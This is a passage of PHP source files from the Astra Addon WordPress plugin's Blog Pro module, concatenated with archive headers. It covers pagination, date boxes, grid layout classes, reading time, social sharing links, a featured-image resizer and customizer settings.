Pagination markup. * @return html */ public function astra_blog_pagination( $output ) { global $wp_query; $pagination = astra_get_option( 'blog-pagination' ); $infinite_event = astra_get_option( 'blog-infinite-scroll-event' ); $load_more_text = astra_get_option( 'blog-load-more-text' ); if ( '' === $load_more_text ) { $load_more_text = __( 'Load More', 'astra-addon' ); } if ( 'infinite' == $pagination ) { if ( $wp_query->max_num_pages > 1 ) { ob_start(); ?> <nav class="ast-pagination-infinite"> <div class="ast-loader"> <div class="ast-loader-1"></div> <div class="ast-loader-2"></div> <div class="ast-loader-3"></div> </div> <?php if ( 'click' == $infinite_event ) { ?> <span class="ast-load-more active"> <?php $load_more_text = apply_filters( 'astra_load_more_text', $load_more_text ); echo esc_html( $load_more_text ); ?> </span> <?php } ?> </nav> <?php $output .= ob_get_clean(); } } return $output; } /** * Function to get author info for default post only */ public function author_info_markup() { if ( astra_get_option( 'ast-author-info' ) && is_singular( 'post' ) ) { astra_addon_get_template( 'blog-pro/template/author-info.php' ); } } /** * Enable/Disable Single Post Navigation * * Checks the customizer option `Disable Single Post Navigation` and Enable/Disable the single post navigation. * * @since 1.3.3 * * @return void */ public function single_post_navigation_markup() { $enable_post_navigation = astra_get_option( 'ast-single-post-navigation' ); if ( $enable_post_navigation ) { remove_action( 'astra_entry_after', 'astra_single_post_navigation_markup' ); } } /** * Add 'Date Box' in featured section * * @since 1.0 * * @param string $output Post content. * @return string content. */ public function date_box( $output ) { $enable_date_box = astra_get_option( 'blog-date-box' ); $date_box_style = astra_get_option( 'blog-date-box-style' ); if ( 'astra_related_post_featured_image_after' === current_filter() ) { $enable_date_box = apply_filters( 'astra_related_post_enable_date_box', $enable_date_box ); $date_box_style = apply_filters( 'astra_related_post_date_box_style', $date_box_style ); } if ( $enable_date_box ) : $date_type = astra_get_option( 'blog-meta-date-type', 'published' ); $time_string = '<time class="entry-date published" datetime="%1$s"><span class="date-month">%2$s</span> <span class="date-day">%3$s</span> <span class="date-year">%4$s</span></time>'; $time_string = sprintf( $time_string, ( 'updated' === $date_type ) ? esc_attr( get_the_modified_date( 'c' ) ) : esc_attr( get_the_date( 'c' ) ), ( 'updated' === $date_type ) ? esc_attr( get_the_modified_date( 'M' ) ) : esc_html( get_the_date( 'M' ) ), ( 'updated' === $date_type ) ? esc_attr( get_the_modified_date( 'j' ) ) : esc_html( get_the_date( 'j' ) ), ( 'updated' === $date_type ) ? esc_attr( get_the_modified_date( 'Y' ) ) : esc_html( get_the_date( 'Y' ) ) ); /** * Filters the Date Box time format. * * @since 1.5.0 * * @param string posted date format for the posts. */ $posted_on = apply_filters( 'astra_date_box_time_format', sprintf( esc_html( '%s' ), $time_string ) ); ob_start(); ?> <a href="<?php echo esc_url( get_permalink() ); ?>" > <div class="ast-date-meta <?php echo esc_attr( $date_box_style ); ?>"> <span class="posted-on"> <?php echo wp_kses( $posted_on, array( 'time' => array( 'class' => array(), 'datetime' => array(), ), 'span' => array( 'class' => array() ), ) ); ?> </span> </div> </a> <?php $posted_on_data = ob_get_clean(); /** * Filters the Date Box markup. * * @since 1.5.0 * * @param string $posted_on_data the posted date markup for the posts. */ $output .= apply_filters( 'astra_date_box_markup', $posted_on_data ); endif; return $output; } /** * Add Body Classes * * @param array $classes Blog Layout Class Array. * @return array */ public function add_blog_layout_class( $classes ) { $display_date_box = astra_get_option( 'blog-date-box' ); if ( ! $display_date_box ) { $classes[] = 'ast-no-date-box'; } return $classes; } /** * Blog Customization */ public function blog_customization() { $blog_layout = astra_get_option( 'blog-layout' ); if ( 'blog-layout-1' !== $blog_layout ) { remove_action( 'astra_entry_content_blog', 'astra_entry_content_blog_template' ); add_action( 'astra_entry_content_blog', array( $this, 'blog_template' ) ); } } /** * Blog Template Markup */ public function blog_template() { astra_addon_get_template( 'blog-pro/template/' . esc_attr( astra_get_option( 'blog-layout' ) ) . '.php' ); } /** * Add Blog Grid Class * * @param array $classes Body Class Array. * @return array */ public function astra_primary_class_blog_grid( $classes ) { // Apply grid class to archive page. if ( ( is_home() ) || is_archive() || is_search() ) { $blog_grid = astra_get_option( 'blog-grid' ); $blog_grid_layout = astra_get_option( 'blog-grid-layout' ); $blog_layout = astra_get_option( 'blog-layout' ); if ( 'blog-layout-1' == $blog_layout ) { $classes[] = 'ast-grid-' . esc_attr( $blog_grid ); } else { $classes[] = 'ast-grid-' . esc_attr( $blog_grid_layout ); } $classes = apply_filters( 'astra_primary_class_blog_grid', $classes ); } return $classes; } /** * Add Post Class Blog Grid * * @param array $classes Body Class Array. * @return array */ public function astra_post_class_blog_grid( $classes ) { $wp_doing_ajax = wp_doing_ajax(); if ( is_archive() || is_home() || is_search() || $wp_doing_ajax ) { global $wp_query; $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; $blog_grid = astra_get_option( 'blog-grid' ); $blog_grid_layout = astra_get_option( 'blog-grid-layout' ); $blog_layout = astra_get_option( 'blog-layout' ); $first_post_full_width = astra_get_option( 'first-post-full-width' ); $blog_masonry = astra_get_option( 'blog-masonry' ); $remove_featured_padding = astra_get_option( 'blog-featured-image-padding' ); $blog_space_bet_posts = astra_get_option( 'blog-space-bet-posts' ); if ( $wp_doing_ajax ) { $classes[] = 'ast-col-sm-12'; $classes[] = 'ast-article-post'; } if ( 'blog-layout-1' == $blog_layout ) { if ( $remove_featured_padding ) { $classes[] = 'remove-featured-img-padding'; } if ( $blog_grid > 1 && $first_post_full_width && ! $blog_masonry && 0 == $wp_query->current_post && 1 == $paged ) { // Feature Post. if ( 3 == $blog_grid ) { $classes[] = Astra_Addon_Builder_Helper::apply_flex_based_css() ? 'ast-width-md-66' : 'ast-col-md-8'; } elseif ( 4 == $blog_grid ) { $classes[] = Astra_Addon_Builder_Helper::apply_flex_based_css() ? 'ast-width-50' : 'ast-col-md-6'; } else { $classes[] = Astra_Addon_Builder_Helper::apply_flex_based_css() ? 'ast-grid-common-col' : 'ast-col-md-12'; } $classes[] = 'ast-featured-post'; } else { $classes[] = Astra_Addon_Builder_Helper::apply_flex_based_css() ? 'ast-width-md-' . ( 12 / $blog_grid ) : 'ast-col-md-' . ( 12 / $blog_grid ); } } else { if ( $blog_grid_layout > 1 && $first_post_full_width && ! $blog_masonry && 0 == $wp_query->current_post && 1 == $paged ) { // Feature Post. $classes[] = 'ast-col-md-12'; $classes[] = 'ast-featured-post'; } else { $classes[] = Astra_Addon_Builder_Helper::apply_flex_based_css() ? 'ast-width-md-' . ( 12 / $blog_grid_layout ) : 'ast-col-md-' . ( 12 / $blog_grid_layout ); } } if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { $classes[] = 'ast-archive-post'; } if ( $blog_space_bet_posts ) { $classes[] = 'ast-separate-posts'; } } elseif ( is_singular() ) { $blog_layout = astra_get_option( 'blog-layout' ); $remove_featured_padding = astra_get_option( 'single-featured-image-padding' ); if ( 'blog-layout-1' == $blog_layout && $remove_featured_padding ) { $classes[] = 'remove-featured-img-padding'; } } return $classes; } /** * Add Body Classes * * @param array $classes Body Class Array. * @return array */ public function astra_ext_blog_pro_body_classes( $classes ) { if ( is_archive() || is_home() || is_search() ) { global $wp_query; $blog_layout = astra_get_option( 'blog-layout' ); $blog_masonry = astra_get_option( 'blog-masonry' ); $blog_grid = astra_get_option( 'blog-grid' ); $blog_grid_layout = astra_get_option( 'blog-grid-layout' ); $blog_pagination = astra_get_option( 'blog-pagination' ); // Masonry layout for blog. if ( $blog_masonry && $wp_query->posts ) { $classes[] = 'blog-masonry'; } // Blog layout. if ( 'blog-layout-1' == $blog_layout ) { $classes[] = 'ast-blog-grid-' . esc_attr( $blog_grid ); } else { $classes[] = 'ast-blog-grid-' . esc_attr( $blog_grid_layout ); } // Blog layout. $classes[] = 'ast-' . esc_attr( $blog_layout ); if ( 'infinite' === $blog_pagination ) { // Pagination type. $classes[] = 'ast-blog-pagination-type-infinite'; } if ( 'number' === $blog_pagination ) { $blog_pagination_style = astra_get_option( 'blog-pagination-style' ); $classes[] = 'ast-pagination-' . esc_attr( $blog_pagination_style ); } } return $classes; } /** * Add style. * * @since 1.0 * * @return void. */ public function add_styles() { $author_info = astra_get_option( 'ast-author-info' ); $enable_related_posts = astra_get_option( 'enable-related-posts' ); /*** Start Path Logic */ /* Define Variables */ $uri = ASTRA_ADDON_EXT_BLOG_PRO_URI . 'assets/css/'; $path = ASTRA_ADDON_EXT_BLOG_PRO_DIR . 'assets/css/'; $rtl = ''; if ( is_rtl() ) { $rtl = '-rtl'; } /* Directory and Extension */ $file_prefix = $rtl . '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = $rtl; $dir_name = 'unminified'; } $css_uri = $uri . $dir_name . '/'; $css_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $css_uri; } else { $gen_path = $css_dir; } /*** End Path Logic */ /* Add style.css */ Astra_Minify::add_css( $gen_path . 'style' . $file_prefix . '.css' ); if ( $author_info ) { Astra_Minify::add_css( $gen_path . 'post-author' . $file_prefix . '.css' ); } if ( $enable_related_posts ) { Astra_Minify::add_css( $gen_path . 'related-posts' . $file_prefix . '.css' ); } /* Blog Layouts */ $blog_layout = astra_get_option( 'blog-layout' ); if ( true === Astra_Addon_Builder_Helper::apply_flex_based_css() && ( 'blog-layout-2' == $blog_layout || 'blog-layout-3' == $blog_layout ) ) { $blog_layout = $blog_layout . '-flex'; } Astra_Minify::add_css( $gen_path . $blog_layout . $file_prefix . '.css' ); } /** * Add scripts. * * @since 1.0 * * @return void. */ public function add_scripts() { /*** Start Path Logic */ /* Define Variables */ $uri = ASTRA_ADDON_EXT_BLOG_PRO_URI . 'assets/js/'; $path = ASTRA_ADDON_EXT_BLOG_PRO_DIR . 'assets/js/'; /* Directory and Extension */ $file_prefix = '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = ''; $dir_name = 'unminified'; } $js_uri = $uri . $dir_name . '/'; $js_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $js_uri; } else { $gen_path = $js_dir; } /*** End Path Logic */ $blog_layout = astra_get_option( 'blog-layout' ); $blog_grid = astra_get_option( 'blog-grid' ); $blog_grid_layout = astra_get_option( 'blog-grid-layout' ); $astra_blog_masonry = astra_get_option( 'blog-masonry' ); if ( ( 'blog-layout-1' == $blog_layout && 1 != $blog_grid ) || ( 'blog-layout-1' != $blog_layout && 1 != $blog_grid_layout ) ) { // Enqueue scripts. if ( $astra_blog_masonry ) { Astra_Minify::add_dependent_js( 'jquery' ); Astra_Minify::add_dependent_js( 'jquery-masonry' ); Astra_Minify::add_js( $gen_path . 'ast-ext-blog-pro' . $file_prefix . '.js' ); } } } /** * Frontend scripts. * * @since 1.0 * * @return void. */ public function enqueue_frontend_scripts() { $blog_pagination = astra_get_option( 'blog-pagination' ); /* Directory and Extension */ $file_prefix = '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = ''; $dir_name = 'unminified'; } $js_gen_path = ASTRA_ADDON_EXT_BLOG_PRO_URI . 'assets/js/' . $dir_name . '/'; $css_gen_path = ASTRA_ADDON_EXT_BLOG_PRO_URI . 'assets/css/' . $dir_name . '/'; if ( astra_get_option( 'ast-auto-prev-post' ) && is_singular() ) { if ( SCRIPT_DEBUG ) { wp_enqueue_script( 'astra-scrollspy', $js_gen_path . 'scrollspy' . $file_prefix . '.js', array( 'jquery' ), ASTRA_EXT_VER, true ); wp_enqueue_script( 'astra-history', $js_gen_path . 'jquery-history' . $file_prefix . '.js', array( 'jquery' ), ASTRA_EXT_VER, true ); wp_enqueue_script( 'astra-single-infinite', $js_gen_path . 'single-infinite' . $file_prefix . '.js', array( 'astra-scrollspy' ), ASTRA_EXT_VER, true ); } else { wp_enqueue_script( 'astra-single-infinite', $js_gen_path . 'single-autopost-infinite.min.js', array( 'jquery' ), ASTRA_EXT_VER, true ); } } // Load infinite js only if option is used. if ( ( is_home() || is_archive() || is_search() ) && 'infinite' === $blog_pagination ) { wp_enqueue_script( 'astra-pagination-infinite', $js_gen_path . 'pagination-infinite' . $file_prefix . '.js', array( 'jquery', 'astra-addon-js' ), ASTRA_EXT_VER, true ); } } /** * Calculate reading time. * * @since 1.0 * * @param int $post_id Post content. * @return int read time. */ public function calculate_reading_time( $post_id ) { $post_content = get_post_field( 'post_content', $post_id ); $stripped_content = strip_shortcodes( $post_content ); $strip_tags_content = wp_strip_all_tags( $stripped_content ); $word_count = count( preg_split( '/\s+/', $strip_tags_content ) ); $reading_time = ceil( $word_count / 220 ); return $reading_time; } /** * Reading Time Meta. * * @since 1.3.3 Updated post reading time strings. * @since 1.0 * * @param string $content Post content. * @param string $loop_count Post meta loop count. * @param string $separator Separator text. * @return string content */ public function reading_time_content( $content = '', $loop_count = '', $separator = '' ) { $read_time = (int) $this->calculate_reading_time( get_the_ID() ); $singular_min_reading_text = apply_filters( 'astra_post_minute_of_reading_text', __( 'minute of reading', 'astra-addon' ) ); $plural_mins_reading_text = apply_filters( 'astra_post_minutes_of_reading_text', __( 'minutes of reading', 'astra-addon' ) ); $content .= ( 1 != $loop_count && '' != $content ) ? ' ' . $separator . ' ' : ''; /* translators: %1$s: $read_time the time to read the article, %2%s: $singular_min_reading_text the singular minute reading time text, %3%s: $plural_mins_reading_text the plural minutes reading time text */ $content .= '<span class="ast-reading-time">' . sprintf( _n( '%1$s %2$s', '%1$s %3$s', $read_time, 'astra-addon' ), $read_time, $singular_min_reading_text, $plural_mins_reading_text ) . '</span>'; // phpcs:ignore WordPress.WP.I18n.MismatchedPlaceholders return $content; } /** * Init action. * * @return void */ public function init_action() { $this->single_post_add_endpoint(); if ( 'excerpt' === astra_get_option( 'blog-post-content' ) ) { // Excerpt Filter. add_filter( 'excerpt_length', array( $this, 'custom_excerpt_length' ) ); add_filter( 'astra_post_read_more', array( $this, 'read_more_text' ) ); add_filter( 'astra_post_read_more_class', array( $this, 'read_more_class' ) ); } } /** * Single post rewrite endpoint. * * @return void */ public function single_post_add_endpoint() { if ( astra_get_option( 'ast-auto-prev-post' ) || is_customize_preview() ) { add_rewrite_endpoint( 'partial-prev', EP_PERMALINK ); add_action( 'template_redirect', array( $this, 'single_post_template_redirect' ) ); add_action( 'astra_before_content_partial_loop', array( $this, 'auto_prev_post_wp_bakery_compatibility' ) ); } } /** * Added shortcode rendering compatibility for WP Bakery plugin. * * WP Bakery plugin shortcodes were not rendering when auto prev post option was enable. * * @return void */ public function auto_prev_post_wp_bakery_compatibility() { // Make sure all vc shortcodes are loaded (needed for ajax previous post pagination). if ( is_callable( 'WPBMap::addAllMappedShortcodes' ) ) { WPBMap::addAllMappedShortcodes(); } } /** * Single post template redirect. */ public function single_post_template_redirect() { global $wp_query; // if this is not a request for partial or a singular object then bail. if ( ( isset( $wp_query->query_vars['partial-prev'] ) || isset( $_GET['partial-prev'] ) ) && is_singular() ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended // include custom template. include ASTRA_ADDON_EXT_BLOG_PRO_DIR . '/template/content-partial.php'; exit; } } /** * Excerpt count. * * @param int $length default count of words. * @return int count of words */ public function custom_excerpt_length( $length ) { $excerpt_length = astra_get_option( 'blog-excerpt-count' ); if ( '' != $excerpt_length ) { $length = $excerpt_length; } return $length; } /** * Read more text. * * @param string $text default read more text. * @return string read more text */ public function read_more_text( $text ) { $read_more = astra_get_option( 'blog-read-more-text' ); if ( '' != $read_more ) { $text = $read_more; } return $text; } /** * Read more class. * * @param array $class default classes. * @return array classes */ public function read_more_class( $class ) { $read_more_button = astra_get_option( 'blog-read-more-as-button' ); if ( $read_more_button ) { $class[] = 'ast-button'; } return $class; } /** * Social sharing. * * @since 4.1.0 */ public function astra_social_sharing() { $social_sharing_position = astra_get_option( 'single-post-social-sharing-icon-position' ); $is_social_sharing_enabled = astra_get_option( 'single-post-social-sharing-icon-enable' ); if ( $is_social_sharing_enabled ) { if ( is_single() ) { if ( 'below-post-title' === $social_sharing_position ) { add_action( 'astra_single_post_banner_after', array( $this, 'astra_render_social_sharing' ) ); } else { add_action( 'astra_entry_bottom', array( $this, 'astra_render_social_sharing' ) ); } } } } /** * Enqueue google fonts. * * @return void */ public function add_fonts() { // Single post social sharing - Label font. $label_font_family = astra_get_option( 'single-post-social-sharing-icon-label-font-family' ); $label_font_weight = astra_get_option( 'single-post-social-sharing-icon-label-font-weight' ); Astra_Fonts::add_font( $label_font_family, $label_font_weight ); // Single post social sharing - Label font. $heading_font_family = astra_get_option( 'single-post-social-sharing-heading-font-family' ); $heading_font_weight = astra_get_option( 'single-post-social-sharing-heading-font-weight' ); Astra_Fonts::add_font( $heading_font_family, $heading_font_weight ); } /** * Render social sharing. * * @since 4.1.0 */ public function astra_render_social_sharing() { $items = astra_get_option( 'single-post-social-sharing-icon-list' ); $items = isset( $items['items'] ) ? $items['items'] : array(); $post_categories = wp_strip_all_tags( get_the_category_list( ',' ) ); $post_title = get_the_title(); $post_link = urlencode( get_the_permalink() ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.urlencode_urlencode $email_title = str_replace( '&', '%26', $post_title ); $enable_heading = astra_get_option( 'single-post-social-sharing-heading-enable' ); $heading_text = astra_get_option( 'single-post-social-sharing-heading-text' ); $heading_position = astra_get_option( 'single-post-social-sharing-heading-position' ); $show_label = astra_get_option( 'single-post-social-sharing-icon-label' ); $show_label_class = $show_label ? 'social-show-label-true' : 'social-show-label-false'; $color_type = astra_get_option( 'single-post-social-sharing-icon-color-type' ); $label_position = astra_get_option( 'single-post-social-sharing-icon-label-position' ); $social_icon_condition = array( 'facebook', 'pinterest', 'linkedin', 'reddit', 'whatsapp', 'sms' ); if ( $items ) { ob_start(); ?> <div class="ast-post-social-sharing"> <?php if ( $enable_heading && 'above' === $heading_position ) { ?> <h3 class="ast-social-sharing-heading"> <?php echo esc_html( $heading_text ); ?></h3> <?php } ?> <div class="ast-social-inner-wrap element-social-inner-wrap <?php echo esc_attr( $show_label_class ); ?> ast-social-color-type-<?php echo esc_attr( $color_type ); ?>"> <?php if ( is_array( $items ) && ! empty( $items ) ) { foreach ( $items as $item ) { if ( $item['enabled'] ) { $link = $item['url']; switch ( $item['id'] ) { case 'facebook': $link = add_query_arg( array( 'u' => $post_link, ), 'https://www.facebook.com/sharer.php' ); break; case 'twitter': $link = add_query_arg( array( 'url' => $post_link, 'text' => rawurlencode( html_entity_decode( wp_strip_all_tags( $post_title ), ENT_COMPAT, 'UTF-8' ) ), 'hashtags' => $post_categories, ), 'http://twitter.com/share' ); break; case 'email': $link = add_query_arg( array( 'subject' => wp_strip_all_tags( $email_title ), 'body' => $post_link, ), 'mailto:' ); break; case 'pinterest': $link = 'https://pinterest.com/pin/create/bookmarklet/?media=' . get_the_post_thumbnail_url() . '&url=' . $post_link . '&description=' . $post_title; break; case 'linkedin': $link = 'https://www.linkedin.com/shareArticle?mini=true&url=' . $post_link . '&title=' . urlencode( $post_title ) . '&source=' . urlencode( get_bloginfo( 'name' ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.urlencode_urlencode break; case 'tumblr': $link = 'http://www.tumblr.com/share/link?url=' . $post_link . '&title=' . $post_title; break; case 'reddit': $link = 'https://reddit.com/submit?url=' . $post_link . '&title=' . $post_title; break; case 'whatsapp': $link = 'https://wa.me/?text=' . $post_link; break; case 'sms': $link = 'sms://?&body=' . $post_title . ' - ' . $post_link; break; case 'vk': $link = 'http://vk.com/share.php?url=' . urlencode( $post_link ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.urlencode_urlencode break; } $aria_label = $item['label'] ? $item['label'] : $item['id']; $is_phone_or_email = 'phone' === $item['id'] || 'email' === $item['id']; $add_target = $is_phone_or_email ? '' : '_blank'; $add_rel = $is_phone_or_email ? '' : 'noopener noreferrer'; ?> <a href="<?php echo esc_url( $link ); ?>" aria-label="<?php echo esc_attr( $aria_label ); ?>" target="<?php echo esc_attr( $add_target ); ?>" rel="<?php echo esc_attr( $add_rel ); ?>" class="ast-inline-flex ast-social-icon-a"> <?php if ( $show_label && $label_position && 'above' === $label_position ) { ?> <span class="social-item-label"> <?php echo esc_html( $item['label'] ); ?> </span> <?php } ?> <?php $icon_color = ! empty( $item['color'] ) ? $item['color'] : '#3a3a3a'; $icon_background_color = ! empty( $item['background'] ) ? $item['background'] : 'transparent'; ?> <div style="--color: <?php echo esc_attr( $icon_color ); ?>; --background-color:<?php echo esc_attr( $icon_background_color ); ?>;" class="ast-social-element ast-<?php echo esc_attr( $item['id'] ); ?>-social-item"> <?php echo do_shortcode( Astra_Builder_UI_Controller::fetch_svg_icon( in_array( $item['icon'], $social_icon_condition ) ? $item['icon'] . '-fill' : $item['icon'] ) ); ?> </div> <?php if ( $show_label && $label_position && 'below' === $label_position ) { ?> <span class="social-item-label"> <?php echo esc_html( $item['label'] ); ?> </span> <?php } ?> </a> <?php } } } ?> </div> <?php if ( $enable_heading && 'below' === $heading_position ) { ?> <h3 class="ast-social-sharing-heading"> <?php echo esc_html( $heading_text ); ?></h3> <?php } ?> </div> <?php echo do_shortcode( ob_get_clean() ); } } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Ext_Blog_Pro_Markup::get_instance(); class-astra-ext-blog-pro-images-resizer.php 0000666 00000013721 15165400142 0014741 0 ustar 00 <?php /** * Blog Pro - Customizer. * * @package Astra Addon * @since 1.5.0 */ if ( ! class_exists( 'Astra_Ext_Blog_Pro_Images_Resizer' ) ) { /** * Customizer Initialization * * @since 1.5.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Blog_Pro_Images_Resizer { // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { if ( self::is_image_resizer() ) { self::includes(); } add_action( 'customize_register', array( $this, 'customize_register' ), 2 ); add_filter( 'astra_featured_image_markup', array( $this, 'blog_archive_featured_image' ) ); add_filter( 'astra_featured_image_markup', array( $this, 'blog_single_post_featured_image' ) ); } /** * Filter to disable Image Processing Queue by DeliciousBrains. * * @return boolean true if Library is included/loaded. */ public function is_image_resizer() { return apply_filters( 'astra_image_resizer', true ); } /** * Register panel, section and controls * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_register( $wp_customize ) { require_once ASTRA_ADDON_EXT_BLOG_PRO_DIR . 'classes/sections/class-astra-customizer-blog-pro-image-resizer-configs.php'; } /** * Include necessary files. * * @since 1.5.0 */ public static function includes() { require_once ASTRA_EXT_DIR . 'classes/library/image-processing-queue/image-processing-queue.php'; } /** * Filter to add updated featured image markup with updated images sizes on Blog Archive Page. * * @since 1.5.0 * @param string $output the featured image markup for archive post. * @return string $output Updated featured image markup for archive post. */ public function blog_archive_featured_image( $output ) { if ( 'post' === get_post_type() && ( is_archive() || is_search() || is_home() ) ) { $blog_archive_image_width = astra_get_option( 'blog-archive-image-width' ); $blog_archive_image_height = astra_get_option( 'blog-archive-image-height' ); $blog_post_title = astra_get_option( 'blog-post-structure' ); $attributes = array( 'width' => empty( $blog_archive_image_width ) ? false : $blog_archive_image_width, 'height' => empty( $blog_archive_image_height ) ? false : $blog_archive_image_height, 'crop' => ( empty( $blog_archive_image_width ) || empty( $blog_archive_image_height ) ) ? false : true, ); if ( ! $attributes['width'] && ! $attributes['height'] ) { $attributes = array(); } $image_id = get_post_thumbnail_id( get_the_ID(), 'full' ); if ( in_array( 'image', $blog_post_title ) ) { if ( $attributes && function_exists( 'ipq_get_theme_image' ) ) { $output = ipq_get_theme_image( $image_id, array( array( $attributes['width'], $attributes['height'], $attributes['crop'] ), ), sprintf( astra_attr( 'article-image-blog-archive', array( 'class' => '', ) ) ) ); } } } return $output; } /** * Filter to add updated featured image markup with updated images sizes on Blog Post single Page. * * @since 1.5.0 * @param string $output the featured image markup for single post. * @return string $output Updated featured image markup for single post. */ public function blog_single_post_featured_image( $output ) { $post_types = apply_filters( 'astra_single_featured_image_post_types', array( 'post' ) ); $check_is_singular_post = is_singular( $post_types ); if ( $check_is_singular_post ) { $current_post_type = strval( get_post_type() ); $blog_single_image_width = astra_get_option( 'blog-single-post-image-width' ); $blog_single_image_height = astra_get_option( 'blog-single-post-image-height' ); $blog_single_post_structure = is_callable( 'astra_banner_elements_order' ) ? astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-structure', array( 'ast-dynamic-single-' . $current_post_type . '-title', 'ast-dynamic-single-' . $current_post_type . '-breadcrumb' ) ) : astra_get_option( 'blog-single-' . $current_post_type . '-structure' ); $attributes = array( 'width' => empty( $blog_single_image_width ) ? false : $blog_single_image_width, 'height' => empty( $blog_single_image_height ) ? false : $blog_single_image_height, 'crop' => ( empty( $blog_single_image_width ) || empty( $blog_single_image_height ) ) ? false : true, ); if ( ! $attributes['width'] && ! $attributes['height'] ) { $attributes = array(); } $attributes = apply_filters( 'astra_single_featured_image_attributes', $attributes ); $image_id = get_post_thumbnail_id( get_the_ID(), 'full' ); if ( in_array( 'single-image', $blog_single_post_structure ) || in_array( 'ast-dynamic-single-' . $current_post_type . '-image', $blog_single_post_structure ) ) { if ( $attributes && function_exists( 'ipq_get_theme_image' ) ) { $output = ipq_get_theme_image( $image_id, array( array( $attributes['width'], $attributes['height'], $attributes['crop'] ), ), sprintf( str_replace( '"', '', astra_attr( 'article-image-blog-single-post', array( 'class' => '' ) ) ) ) ); } } } return $output; } } } if ( ! defined( 'ASTRA_BLOG_IMG_RESIZER' ) ) { /** * Kicking this off by calling 'get_instance()' method */ Astra_Ext_Blog_Pro_Images_Resizer::get_instance(); } index.php 0000666 00000000170 15165400142 0006364 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.0.0 */ /* Silence is golden, and we agree. */ sections/class-astra-customizer-blog-pro-configs.php 0000666 00000032710 15165400142 0016675 0 ustar 00 <?php /** * Blog Pro General Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Blog_Pro_Configs' ) ) { /** * Register General Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Blog_Pro_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register General Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-divider]', 'section' => 'section-blog', 'title' => __( 'Blog Layout', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 5, 'settings' => array(), 'divider' => array( 'ast_class' => 'ast-section-spacing ast-bottom-spacing' ), ), /** * Option: Blog Layout */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => 'section-blog', 'default' => astra_get_option( 'blog-layout' ), 'priority' => 5, 'title' => __( 'Layout', 'astra-addon' ), 'choices' => array( 'blog-layout-1' => array( 'label' => __( 'Layout 1', 'astra-addon' ), 'path' => ( class_exists( 'Astra_Builder_UI_Controller' ) ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'blog-layout-1', false ) : '', ), 'blog-layout-2' => array( 'label' => __( 'Layout 2', 'astra-addon' ), 'path' => ( class_exists( 'Astra_Builder_UI_Controller' ) ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'blog-layout-2', false ) : '', ), 'blog-layout-3' => array( 'label' => __( 'Layout 3', 'astra-addon' ), 'path' => ( class_exists( 'Astra_Builder_UI_Controller' ) ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'blog-layout-3', false ) : '', ), ), ), /** * Option: Grid Layout */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-grid]', 'type' => 'control', 'control' => 'ast-select', 'section' => 'section-blog', 'default' => astra_get_option( 'blog-grid' ), 'priority' => 10, 'title' => __( 'Grid Layout', 'astra-addon' ), 'choices' => array( '1' => __( '1 Column', 'astra-addon' ), '2' => __( '2 Columns', 'astra-addon' ), '3' => __( '3 Columns', 'astra-addon' ), '4' => __( '4 Columns', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-layout]', 'operator' => '===', 'value' => 'blog-layout-1', ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), /** * Option: Space Between Post */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-space-bet-posts]', 'default' => astra_get_option( 'blog-space-bet-posts' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog', 'title' => __( 'Add Space Between Posts', 'astra-addon' ), 'transport' => 'postMessage', 'priority' => 15, ), /** * Option: Masonry Effect */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-masonry]', 'default' => astra_get_option( 'blog-masonry' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog', 'title' => __( 'Masonry Layout', 'astra-addon' ), 'priority' => 20, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-layout]', 'operator' => '===', 'value' => 'blog-layout-1', ), array( 